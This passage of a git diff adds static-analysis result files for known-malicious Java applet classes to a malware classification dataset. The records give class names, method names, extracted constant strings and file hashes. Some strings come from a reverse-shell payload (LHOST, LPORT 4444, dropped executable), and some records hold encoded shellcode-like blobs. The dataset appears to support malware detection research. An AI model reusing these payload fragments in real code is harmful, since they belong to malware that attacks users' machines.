"\\xc0\\x80\"\\x1c6\\x1b(\\x14", "zJ{F~B", "\\x06.\\x06z\\x196\\x07", "\\x10)\\x17~B", "\\x18,Az\\x15{\\x1f?\\x15*\\x10w\\x12?\\x11", "\\x17\\'\\x14:\\t<\\x05}Bx\\x1d", "\\x18\\'\\x1e", "\\x19}\\x1d:\\x119\\x11zKzC!\\x14+\\x1d}\\x015\\x18}\\x10", "B?\\x01<\\x166\\n", "\\x03\\'\\x16\\x7f\\xc0\\x80+\\x05)\\x19=\\x03|\\x02zF;C6\\x065\\n", "}GvFxG", "\\x1e5\\xc0\\x80xK!\\x176\\x16.E-K:\\n", "G5\\x15*\\x1f\\x7f\\xc0\\x806Cy\\x19w\\x175@$\\x1e\\'C5@", "\\x1e\"\\x01~E"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "84b9007cce69bae91ac3dc3e7927db65d168c059", "file_name": "java_malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828", "_id": "b6dfb98e-344e-4cab-9b4e-5d55d262a387", "score": 0, "entropy": 6.31189832787129, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 9168, "ssdeep": "192:ColuWSm1+bmhjH6NhFzg4Rm7c0yRaPBfBiY:7S21mF0T4Y", "sha256": "e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828", "md5": "da64effd63a55729f46ddccfddb24d9c", "parent_sha256": "e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99.results b/java_classification/data/malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99.results new file mode 100755 index 0000000..6daecf1 --- /dev/null +++ b/java_classification/data/malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "xybnpeIvmA/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "24afcb10-7e62-4429-a9cc-643a21dff186", "verbose": {"java": {"constant strings": ["xybnpeIvmA.Payload", ".class", "/xybnpeIvmA.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "xybnpeIvmA.dat", "URL", "", "https:", "xybnpeIvmA/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "xybnpeIvmA/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "xybnpeIvmA.PayloadTrustManager", "useFor", "java.net.URLConnection", "xybnpeIvmA.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaAXilQOo.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2d87581394b3637a7ab80d0464df39d1dca27009", "file_name": "java_malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99", "_id": "24afcb10-7e62-4429-a9cc-643a21dff186", "score": 0, "entropy": 6.13627024445691, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMlDUB/+WjZThmWb7xpIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tv/5tmKrNvpvUrKYvCkgHzbDrDF", "sha256": "e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99", "md5": "723f9c95da29de12838ebc793eb95fd0", "parent_sha256": "e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9.results b/java_classification/data/malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9.results new file mode 100755 index 0000000..0da429f --- /dev/null +++ b/java_classification/data/malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "QiKqx.java", "class_name": "qYgzrtb/QiKqx", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "iXirD", "wNQJBsfEt", "AgwOOn", "ixhJRlj", "JXICNqJ", "TPZZtyPlb", "pOfyQ"], "minor_version": 0, "const_pool_count": 140}}, "_id": "3b3f1bca-e1ee-4e39-a997-87af00cabf4f", "verbose": {"java": {"constant strings": ["~||", "rpew", "bdbd", "`qbcrew", "", "dbaaos", "`qgrew", "dbos", "`qrew", "rep", "sdqrt~|}sd{ep6}xp{"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "65f7ead23fc0aeb46c3dfce6c33d2c351f9a43eb", "file_name": "java_malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9", "_id": "3b3f1bca-e1ee-4e39-a997-87af00cabf4f", "score": 0, "entropy": 5.84669578341394, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4085, "ssdeep": "96:eMsRfX/FluO1BPJI/5ibnhfyv1270QtTNi:eMsRfXtluO1B6xib9GA7ntTc", "sha256": "e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9", "md5": "f5f06c006c545d850d2e85ddcedec78b", "parent_sha256": "e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761.results b/java_classification/data/malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761.results new file mode 100755 index 0000000..d20e08b --- /dev/null +++ b/java_classification/data/malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "qeajcusrdwlncdbwbdc.java", "class_name": "wjrqfstrvkwwtlg/qeajcusrdwlncdbwbdc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "yltgrnuvgdlpjrqmgpucgrh"], "minor_version": 0, "const_pool_count": 144}}, "_id": "70a0d835-6ed8-4093-b946-23e710b09a19", "verbose": {"java": {"constant strings": ["06426e", "2CDRTa", "4d750b561d35177a64563f6c6a", "rq3V", "3f48677461666a6666636f573a76", "DlEyp4Y", "2c7067575d0977704e4b5c4842692a73695b787b77", "WELDq", "766a093218104a0a7f777e6c", "In12w", "185978624f32614d6956584c", "clSq", "08576b4a7e1e7a48686d4f414274254a76", "sbWDKLX", "5a4f", "Tfy9Xj1", "0a544a456c68504b47787d7a69740f447839", "qRaVY", "1c7e5d254b15440a6d717d", "gKv6", "381f7655675d796a520f57", "C9WP"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "38f5ca180b3794c9caac6458fc54461704b137d0", "file_name": "java_malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761", "_id": "70a0d835-6ed8-4093-b946-23e710b09a19", "score": 0, "entropy": 5.848693910376913, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2866, "ssdeep": "48:sdAy8kAlAgXjU3mnPnOlGczK9BfBV5w093fbh86AbKtsQZakKBpxI4Opiyjctbfn:C8kAl5jhnPhczK97LDLv+OwpxNyjct8q", "sha256": "ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761", "md5": "45aeb58ce8500403076bc1d331e3f05d", "parent_sha256": "ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761"}} \ No newline at end of file diff --git a/java_classification/data/malicious/eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145.results b/java_classification/data/malicious/eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145.results new file mode 100755 index 0000000..1f49e4c --- /dev/null +++ b/java_classification/data/malicious/eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ulwvxbcspxilbutm", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "wiuaezyfltjftqbx", "wbhfryowuddvadrdvd", "axarhzxiatoptzmmeo", "ojtlvkojbwtgmvkep", "jmjrocyvysqbwhou", "wjyreiveoekgnn", "dtvnzoaypawxblzi", "iwjzuroqjxqspcot", "loxeyazsnsaaivruw", "srlnpdksywnoiwokbtb", "xxsxhnztgvwabhxuqkx", "yhmlgcdmzbnq", "zgyszmbuwyzyvl"], "minor_version": 0, "const_pool_count": 591}}, "_id": "ca944e38-153e-488d-83fc-8144ad38fed4", "verbose": {"java": {"constant strings": ["akkdsqdypdvqwhpgxs", "zijkfmutijuilvwxympby", "nkhpwcsaforgzra", "cpnhkrlsqssny", "dqfzoatzifqowzj", "cgdtlaucxpcwsdvrxo", "offqvvcitgersnvis", "zhremsldhevcnekfegdt", "ovuvuzfqrdkrdpeynsk", "nhifszdthyyxdfult", "gwcbkfdrwmfhagqeppjtt", "nadudukplkpmedo", "enafhgcjrtpqhjqjq", "xmgqksxvaemjyxlcl", "mfjgedysfzbmncl", "vblzmcltkyayvyysw", "egnetxubnmluclhz", "wezlqkqmsppcqjtdjoqrj", "connrjtpnkogcmldlds", "gcdtqkglkvjovdxxlkk", "kjhooyrejlgiwfa", "qotycguvwqnye", "rmtzzfqtivxnqrveossfo", "ujvjftkelbtdrkgywab", "wquqrroaisyizqnvvm", "khnvecsyicgqar", "usdjuwyhawtrrs", "vddxiyrxvusaryaka", "tjxsdycngjgtpqxab", "xpmnouxqkrjhofcjiyv", "sreuulwlhnzmmdsyozl", "srmrctlwbwcxup", "iubszuzxqeic", "hitrzddskzlj", "iqsqqbmjyqmxkrmosafwg"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "365269a32db7c023c2cad5539666223c3c6c812e", "file_name": "java_malicious/eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145", "_id": "ca944e38-153e-488d-83fc-8144ad38fed4", "score": 0, "entropy": 6.537858725851971, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 12113, "ssdeep": "192:+sNcp1ySrczsqr2r4mQBGfcWzYWr9QJxI951HrXRZjpxpfldiuwa2fqfkXf8K3SA:+YcWSNqr2ZQBG71MM3LhjPiTtS8v8WSA", "sha256": "eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145", "md5": "113e8d78b50dfde823900d2ef15248cc", "parent_sha256": "eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945.results b/java_classification/data/malicious/ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945.results new file mode 100755 index 0000000..375ecab --- /dev/null +++ b/java_classification/data/malicious/ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "045514df-5165-4fac-a7a4-e314cd20bf88", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pJ,0n,pL,PN,pn,pL,Pn,pK,YY,kE,PE,Pu,PQ,OU,4Y,1p,0w,pu,Pw,pl,KS,pT,LL,Kp,pw,lN,ML,KQ,xw,PO,pc,M4,LV,SP,t5,So,fX,kl,3n,kS,XU,Xl,Ky,g1,zg,tP,YZ,Hl,Ow,p7,pS,0Y,ry,iQ,xP,o0,nw,pG,pa,xb,Ub,Rp,lb,Mv,4i,oV,vl,Kh,hX,h0,yW,pS,0U,PN,kN,7Q,WO,pU,og,p2,UK,JP,G2,wc,wo,pE,oU,PQ,e8,zN,kz,Oa,Ot,sK,yM,Qj,LU,TS,1u,Ps,0N,kY,Lb,qf,2S,cs,Xc,4u,Q5,Pu,PK,Op,VV,lQ,J6,9V,1p,RL,Ku,R2,sP,CO,pu,k3,0P,u9,jM,QC,KK,LV,NQ,uP,xu,5R,Uw,sM,Sz,Ks,8N,iW,sO,7b,cU,Tt,n2,ED,82,E9,Vc,sU,Xg,pc,kM,Zy,Qu,TV,PL,HW,5u,PW,CK,pr,pp,Pv,3P,W0,Py,oP,Vt,Pk,3Y,hs,03,ET,FP,jW,qS,ck,OF,6V,d0,ZP,YO,sy,RF,dQ,QO,pt,zE,Ps,EN,TK,OP,VW,xS,a2,vL,KD,5G,Ll,KQ,dD,ur,Xs,3L,5P,Vl,Kb,VG,Pg,sy,eu,co,9S,y3,qN,Mu,Si,UT,sk,kv,oo,Nd,Pp,88,rT,4W,xy,Q8,Kt,M3,3J,zW,0j,KY,a5,ke,Op,uM,71,NL,Kq,NT,de,SY,MS,VN,kf,lb,kL,Kq,N5,Lu,SK,mn,kd,DN,k5,Sj,eL,kq,Np,YO,3k,Xg,pY,oK,Oi,oN,np,N6,nJ,LL,XK,No,zD,NQ,nn,8k,Rr,S0,3Y,ZO,za,K0,6u,JF,OT,03,Ya,WS,tS,qw,p5,8S,DP,tB,P5,jf,OD,oq,cp,sp,tQ,tP,sa,sp,lQ,y3,SR,Kw,FT,nR,CP,oB,MV,OQ,sa,wp,iV,Mu,2q,yr,NV,O1,tQ,uU,6Q,c4,nR,PU,80,pt,oP,nT,pT,pp,8F,Q4,pU,fp,24,p4,qp,3V,QT,xp,rV,Pf,Tt,p4,y0,JT,pE,6v,PT,pv,P7,FP,06,QS,bS,Re,4U,gB,D5,2G,Hp,75,bv,7a,rP,5F,QP,7U,eC,Sq,ss,T0,Xe,45,4D,qp,8p,64,rc,RP,a0,Yf,Y6,Vu,62,Dp,b5,gd,pf,UP,Zt,pt,qV,Pt,pU,6p,0g,HV,PW,pu,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3eda4efd39d892dc412189b2185220a8f5e84fa6", "file_name": "java_malicious/ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945", "_id": "045514df-5165-4fac-a7a4-e314cd20bf88", "score": 0, "entropy": 5.985106526420779, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3102, "ssdeep": "48:4vVk0yFlqbAnXO7Eso7kKnHS68+J+5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFl0A+7HoQ8iRxC92XQjt9bKsCn", "sha256": "ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945", "md5": "8d9accbe91ed6c7f753100375f85db72", "parent_sha256": "ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038.results b/java_classification/data/malicious/ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038.results new file mode 100755 index 0000000..96ceeb2 --- /dev/null +++ b/java_classification/data/malicious/ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CTMRdI.java", "class_name": "CTMRdI", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "noMbWbMy"], "minor_version": 0, "const_pool_count": 88}}, "_id": "101fc2ad-7700-4c12-954f-af1e1fe3c8e5", "verbose": {"java": {"constant strings": ["#(?(g:,*<; =0g\\x19,;$ :: &\\':", "#(?(g:,*<; =0g\\x08%%\\x19,;$ :: &\\'", "(--", "#(?(g:,*<; =0g\\x19,;$ :: &\\'", "#(?(g\\',=g\\x1c\\x1b\\x05", "/ %,sfff", "#(?(g:,*<; =0g*,;=g\\n,;= / *(=,", "#(?(g:,*<; =0g\\n&-,\\x1a&<;*,", "#(?(g:,*<; =0g\\x19,;$ :: &\\'\\n&%%,*= &\\'", "#(?(g:,*<; =0g\\x19;&=,*= &\\'\\r&$( \\'", "#(?(g:,*<; =0g\\x08**,::\\n&\\'=;&%\\n&\\'=,1="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1af34007bde79271d0789d75bf8f69c4ec50c12", "file_name": "java_malicious/ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038", "_id": "101fc2ad-7700-4c12-954f-af1e1fe3c8e5", "score": 0, "entropy": 5.905144741989341, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1988, "ssdeep": "48:29v3yFlT7OxJdgkkzq0hGOOxO3HObj03KwVQy:2BiFlwdhXmOM3ubQney", "sha256": "ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038", "md5": "7cafa530b5499b746ef4083456001590", "parent_sha256": "ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba.results b/java_classification/data/malicious/ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba.results new file mode 100755 index 0000000..1271e5b --- /dev/null +++ b/java_classification/data/malicious/ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 110}}, "_id": "14a9af83-2036-4b9f-bac2-4a6818f995e4", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA-XP-0A-0A-kA-AQ-2A-B2-BB-0B-BA-BX-P8-AB-uJ-In-pL-Pn-pN-pn-pN-pN-pJ-0J-0L-Pm-8S-0u-PW-pE-Pj-KW-pI-yY-lG-p5-P5-PQ-OE-4O-QF-PS-07-pU-PB-XV-lL-Ks-pV-lL-KP-pu-LN-Ml-KC-Xv-hj-Ks-9N-kQ-Pv-TN-mQ-Pc-LN-kC-XU-ll-Kz-W2-Js-4C-iK-XL-OU-PU-Pu-P8-bX-yp-hB-Op-ng-p5-Pc-XP-ub-R0-lb-MV-4K-Ov-vL-KM-8x-h3-Iw-pG-p7-pL-KK-gP-Go-pw-O5-PR-UK-JP-GQ-Gw-7k-0u-oU-Pt-5J-ZN-kz-Oq-Ot-sJ-iO-q8-lg-tE-QW-ps-0L-KK-lp-Qf-2s-cs-XV-dV-a5-PE-Pk-Op-Vt-LB-z1-IF-1R-rN-kS-2c-c7-3m-Pu-ks-0P-ux-zK-1Q-kk-LD-nQ-ub-Xq-ur-U4-CM-SZ-KW-xm-YT-CO-7P-Cu-TT-n0-eQ-h3-UK-vS-sw-x5-PQ-KM-Zy-QW-tv-Pn-h7-5U-Pv-S9-Pp-P0-Pr-sQ-GR-py-o0-Vt-PK-3J-X7-pq-es-6R-Jg-qp-Sk-Or-v5-TQ-Jq-Il-CK-rf-dq-QO-pT-zw-p4-5n-Ty-os-fU-Xs-a0-Vl-K1-eG-LL-KP-td-nT-8s-3z-Uc-fN-kR-Vq-0W-sz-U6-Sz-iw-9Q-QL-mU-Sk-ud-s9-Kv-oM-n2-0u-jJ-v3-Dd-Hy-QJ-kf-mE-Sk-jS-pJ-KH-qW-K5-Op-uM-7s-nn-ks-nv-Df-cI-MR-Fn-k4-LP-KL-Kc-nU-L6-ci-Ml-Ku-TN-kf-cO-5N-KS-n0-Yh-C9-xK-Ok-NY-oI-oL-Np-NF-nx-lL-XI-nl-Jd-Ns-N8-XK-RS-CF-Sy-ZM-Zq-K7-Ft-Zv-Op-pS-is-wP-L2-Hs-0U-8P-tQ-dP-p7-JT-of-OR-Wp-aR-Ns-YQ-da-q0-lp-et-na-yR-Na-v0-o4-oc-S0-gQ-y4-mC-R1-yp-nD-oP-aQ-up-rt-oU-5p-Hw-Ip-b7-I6-YB-Bc-Qw-Is-Tp-V0-0p-1f-Pv-PS-Vf-PT-xT-pp-0F-Pd-vp-Re-1T-uP-aV-P7-BG-Da-sD-w4-qd-pF-XB-tQ-td-pq-qv-UF-Xw-CS-Sf-RV-RP-0p-1r-L0-0G-D6-P7-Iv-S4-q5-h2-jv-Qt-pF-PT-pT-pe-fv-P6-QR-up-4S-Ut-qR-Bt-sS-Sq-tW-CW-p7-pA-", "-", "", "41,25,25,25,25", ",", "file://abc/", "B", "u", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d7d00870f1356414e5c1f48af8ffdb1bc3e055d3", "file_name": "java_malicious/ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba", "_id": "14a9af83-2036-4b9f-bac2-4a6818f995e4", "score": 0, "entropy": 6.079376949644459, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3414, "ssdeep": "96:7FloLpWX64v/OZvsp6ueUt+Ae1rSxrbybDk3VKqFJ5:hl+0v/OZEneUt+AeJUFTx", "sha256": "ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba", "md5": "67dd15ee448c18b021493e116143713b", "parent_sha256": "ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f.results b/java_classification/data/malicious/ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f.results new file mode 100755 index 0000000..37112bf --- /dev/null +++ b/java_classification/data/malicious/ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Tiubl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "NT", "YZsde", "Nasa"], "minor_version": 0, "const_pool_count": 136}}, "_id": "8b496264-2886-4fe1-b993-825455cae172", "verbose": {"java": {"constant strings": ["8ll", "2dd", "java.security.ProtectionDomain", "Collection"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b438cf76176c681e544c4c2b4937326808658e9b", "file_name": "java_malicious/ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f", "_id": "8b496264-2886-4fe1-b993-825455cae172", "score": 0, "entropy": 5.564365332429576, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2081, "ssdeep": "24:E8tLx5yQJoH/iNUcnRfXM/vhJAXgn+gAX2t8GOAnD6vU7TIfue9dHElRGS:5z5yYofiNUcpXM/vYXgfg2tLnLE7ol4S", "sha256": "ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f", "md5": "ae03ab41953aff7d0ef5e6c62860bbb5", "parent_sha256": "ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451.results b/java_classification/data/malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451.results new file mode 100755 index 0000000..24c14b3 --- /dev/null +++ b/java_classification/data/malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PJHNKmZl.java", "class_name": "hhIji/PJHNKmZl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "fXmXDCW", "ttlLu", "ApWRHETbi"], "minor_version": 0, "const_pool_count": 183}}, "_id": "13dc2f19-45ca-4d35-ad4b-8822727fe0f1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "4d62794b3670dd972ba4eba4fa4e00bc38d1a214", "file_name": "java_malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451", "_id": "13dc2f19-45ca-4d35-ad4b-8822727fe0f1", "score": 0, "entropy": 5.361159823797678, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3129, "ssdeep": "96:l+EQTmFl/ktaktRgTimAEX2Jr8MlMeEyEu06UeECVq6hO/a0+EOlEuUYb0+ECIja:l+ENl/C7RgTimAEX2JrZaeEyEu06UeEW", "sha256": "ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451", "md5": "4034b835fc7ae0cf0d80d12bdb69835f", "parent_sha256": "ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d.results b/java_classification/data/malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d.results new file mode 100755 index 0000000..e438ad0 --- /dev/null +++ b/java_classification/data/malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "XowrxG.java", "class_name": "XowrxG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "zalvg", "KloZO", "LdTEdQGAr", "CQeUE"], "minor_version": 0, "const_pool_count": 140}}, "_id": "119b43bf-3036-4386-9b28-8d8cfaaf9092", "verbose": {"java": {"constant strings": ["\\n\\x01\\x16\\x01N\\x0e\\x05\\x14N52,", "\\x0f\\x10\\x05\\x0e3\\x14\\x12\\x05\\x01\\r", "\\n\\x01\\x16\\x01N\\t\\x0fN&\\t\\x0c\\x05/\\x15\\x14\\x10\\x15\\x143\\x14\\x12\\x05\\x01\\r", "\\x17\\x12\\t\\x14\\x05", "close", "\\x05\\x18\\x05\\x03", "\\x12\\x05\\x07\\x13\\x16\\x12SR@M\\x13@B", "B", "", "\\n\\x01\\x16\\x01N\\t\\x0fN\\x14\\r\\x10\\x04\\t\\x12", "N\\x05\\x18\\x05"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0c7568aed0ec9ba0a17409c5c5c49ea43f29477d", "file_name": "java_malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d", "_id": "119b43bf-3036-4386-9b28-8d8cfaaf9092", "score": 0, "entropy": 5.82890357400789, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2718, "ssdeep": "48:Jg7lyFlwrL0yfcuX7m9ZCCkhVg+Y5cK904+bHHCHxWM4DtUenhWoOn5pXG:JcwFl8i0hq+tKiVCHfqtaoIXG", "sha256": "ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d", "md5": "6fd36063da054dfe6d9e33a1a6c49d92", "parent_sha256": "ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde.results b/java_classification/data/malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde.results new file mode 100755 index 0000000..56d6c7e --- /dev/null +++ b/java_classification/data/malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "c8f67b45.java", "class_name": "c8f67b45", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["insert", ""], "minor_version": 3, "const_pool_count": 90}}, "_id": "f77c870f-4661-4c00-9652-cc097fe57ee0", "verbose": {"java": {"constant strings": ["", "Code"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2a1ce6ed49c17b5a32debe84ecbe0b441bc140b9", "file_name": "java_malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde", "_id": "f77c870f-4661-4c00-9652-cc097fe57ee0", "score": 0, "entropy": 5.797058989965403, "libmagic": "compiled Java class data, version 45.3", "file_size": 1562, "ssdeep": "24:cqYbQSDH3sr4x9qDy1Mw8u4d9HEjnuks3jAtlzZ/q0Sp5s66m+eIqTT5K:RYbV4rYybuk9NnjAtZK2i+BqH5K", "sha256": "ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde", "md5": "ceb1be6cd3e35b837f635ddc56273e57", "parent_sha256": "ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a.results 